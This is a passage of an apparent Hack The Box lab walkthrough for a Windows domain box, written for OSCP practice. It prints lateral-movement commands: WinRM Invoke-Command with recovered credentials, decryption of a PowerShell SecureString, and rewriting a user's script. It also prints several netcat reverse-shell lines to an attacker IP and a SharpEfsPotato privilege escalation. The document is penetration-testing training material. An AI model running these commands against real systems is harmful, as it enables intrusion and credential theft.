class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I worked through them one at a time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0785.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful. The write-up showed an entry under RDP Sessions, but mine didn&amp;rsquo;t have one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0786.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I also ran:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwinsta /server:127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwinsta session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0787.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Maybe I needed to restart, but that still didn&amp;rsquo;t work. OSCP allows Metasploit once, and every write-up used Metasploit for this step, which I never would have expected. The idea was this: Metasploit&amp;rsquo;s PowerShell session could see the RDP session above, and Metasploit can monitor the desktop. While monitoring it, you can see a script run and capture it. I never would have thought of that. No matter how I looked at it, it didn&amp;rsquo;t feel logical. When I get stuck, I often read one particular author&amp;rsquo;s write-ups, and he never uses Metasploit. I&amp;rsquo;d been reading his work for ages, and this was the first time I&amp;rsquo;d seen him use it. This was what he said:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0788.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And that&amp;rsquo;s true. For things like screenshots, Metasploit is incredibly convenient. This box was rated hard yet still held a 4.5 rating, and most people considered it medium-to-hard. There had to be a reason for that later on.&lt;/p&gt;&#10;&lt;p&gt;I generated a Metasploit payload and caught a shell. I uploaded winPEAS and scanned as usual. It looked like this had nothing to do with the Metasploit shell; the session simply wasn&amp;rsquo;t there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0789.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0790.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll leave this here for reference. Knowing the route and how to record it is enough. This was really the last resort. Time to start taking screenshots.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0791.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t have enough privileges to view the screen.&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t know what I&amp;rsquo;d done wrong. I thought it might be a permissions issue: perhaps the PSWA session had more privileges than the netcat reverse shell? That was the only difference between my setup and the write-ups. I restarted from that step. If that really was the issue, at least I&amp;rsquo;d have learned something new: if a command can be run through PSWA, don&amp;rsquo;t bounce it through netcat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0792.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still notfound.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0793.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0794.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t exist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0795.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As it turned out, starting PowerShell after getting a netcat CMD shell and then popping another shell was no different from using PSWA. Of course it wasn&amp;rsquo;t—I had only imagined there might be a difference.&lt;/p&gt;&#10;&lt;p&gt;The Metasploit payloads were all the same, because there was no reason they wouldn&amp;rsquo;t be. This had nothing to do with Metasploit. I couldn&amp;rsquo;t shake the feeling that something was wrong with the target. I&amp;rsquo;m skipping over a day here: I shut the box down completely because I had other things to do and didn&amp;rsquo;t continue. When I started it again the next day, everything was normal.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0796.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;How strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0797.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now there was a screen. During that day, I also learned that OSCP allows unlimited use of Metasploit for listeners and payload generation. The one-use limit applies only when using it to launch exploits.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharp\imonks w3_4R3_th3_f0rce.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Judging from his command, he was connecting to ATSSERVER through the WinRM service.&lt;/p&gt;&#10;&lt;p&gt;I just needed to put his command together.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = ConvertTo-SecureString &amp;#34;W3_4R3_th3_f0rce.&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#34;ACUTE\imonks&amp;#34;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It threw an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0798.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were still other ways to work with WinRM, though. For example, the blog below covers most WinRM operations.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.west.cn/docs/133652.html" target="_blank" rel="noopener"&#10; &gt;https://www.west.cn/docs/133652.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could build the commands above to read the flag. I uploaded netcat.exe to get an interactive shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0799.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to work. The existing access was usable anyway, so I started digging through files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0800.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$securepasswd = &amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$passwd = $securepasswd | ConvertTo-SecureString&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = New-Object System.Management.Automation.PSCredential (&amp;#34;acute\jmorgan&amp;#34;, $passwd)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This file contained jmorgan&amp;rsquo;s password. As with the earlier box, it was a secure password. I&amp;rsquo;d encountered this on Omni, and some of the underlying mechanism came back to me: an encrypted string can only be decrypted under the user account that created it, and only on the computer where it was encrypted. I ran the command above as the current user and on my own Windows machine, then tried:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$Creds&lt;/span&gt;.GetNetworkCredential&lt;span class="o"&gt;()&lt;/span&gt;.password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only then did I remember this. It really had been a while since that box. I&amp;rsquo;ll review all my notes when I go back through Hack The Box later.&lt;/p&gt;&#10;&lt;p&gt;So the only option was to construct a command that made imonks run it on ATSSERVER.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; ConvertTo-SecureString&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;acute\jmorgan&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt;.GetNetworkCredential&lt;span class="o"&gt;()&lt;/span&gt;.Password &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I just needed to import the credential first, then read it with $Creds.GetNetworkCredential().password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0801.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It errored. Since I couldn&amp;rsquo;t export the credential either, I decided to build the command directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$securepasswd&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; ConvertTo-SecureString&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;acute\jmorgan&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$netcatCmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\utils\netcat.exe 10.10.16.14 6666 -e cmd&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start-Process -FilePath &lt;span class="s2"&gt;&amp;#34;cmd.exe&amp;#34;&lt;/span&gt; -ArgumentList &lt;span class="s2"&gt;&amp;#34;/c &lt;/span&gt;&lt;span class="nv"&gt;$netcatCmd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -Credential &lt;span class="nv"&gt;$creds&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This command used the inner credential to execute the reverse-shell command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0802.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But just like before, it wouldn&amp;rsquo;t execute.&lt;/p&gt;&#10;&lt;p&gt;I glanced at a write-up. It pointed out that the outer user could modify wm.ps1 and then execute it. That worked around the current user&amp;rsquo;s inability to run a process with the inner credential.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;cat ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 -Raw&lt;span class="o"&gt;)&lt;/span&gt; -replace &lt;span class="s1"&gt;&amp;#39;Get-Volume&amp;#39;&lt;/span&gt;, &lt;span class="s1"&gt;&amp;#39;C:\utils\netcat.exe -e cmd 10.10.16.14 6666&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sc -Path ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat ..&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Run it directly below&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; C:&lt;span class="se"&gt;\u&lt;/span&gt;sers&lt;span class="se"&gt;\i&lt;/span&gt;monks&lt;span class="se"&gt;\d&lt;/span&gt;esktop&lt;span class="se"&gt;\w&lt;/span&gt;m.ps1 &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0803.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell came back successfully.&lt;/p&gt;&#10;&lt;p&gt;The first thing to do as a new user was still whoami /priv.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0804.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You could see that plenty of privileges were enabled.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\s&lt;/span&gt;ystem32&lt;span class="se"&gt;\W&lt;/span&gt;indowsPowerShell&lt;span class="se"&gt;\v&lt;/span&gt;1.0&lt;span class="se"&gt;\p&lt;/span&gt;owershell.exe -a &lt;span class="s2"&gt;&amp;#34;whoami | Set-Content C:\Utils\w.log&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0805.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. The Potato exploit could take me straight to SYSTEM.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0806.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0807.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0808.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing? What I&amp;rsquo;d been worried about had happened after all. I&amp;rsquo;d already noticed something was off when I checked the IP. The machine referred to as DC01 really was this DC01. My earlier guess was right too: it was a domain member. To attack a domain controller from a member host, you&amp;rsquo;d usually need an exploit or some exposed service on the DC. But I didn&amp;rsquo;t even have the domain controller&amp;rsquo;s real IP yet. The host on 443 was the domain controller, but most of its services weren&amp;rsquo;t exposed. That meant they should be reachable internally. I might need to build a tunnel and attack the domain controller through it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0809.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Was its real IP still 10.10.11.145? I wasn&amp;rsquo;t sure, because connecting to port 445 there failed. Maybe this was only an edge server. There was another route: the target had PSWA enabled, and I could switch users locally. The administrator account clearly had .ACUTE appended. As I understood it, that suggested it was a domain user, with the domain appended to its name. When I was learning this, I created two accounts with the same name. For example, if the local account was called john and I 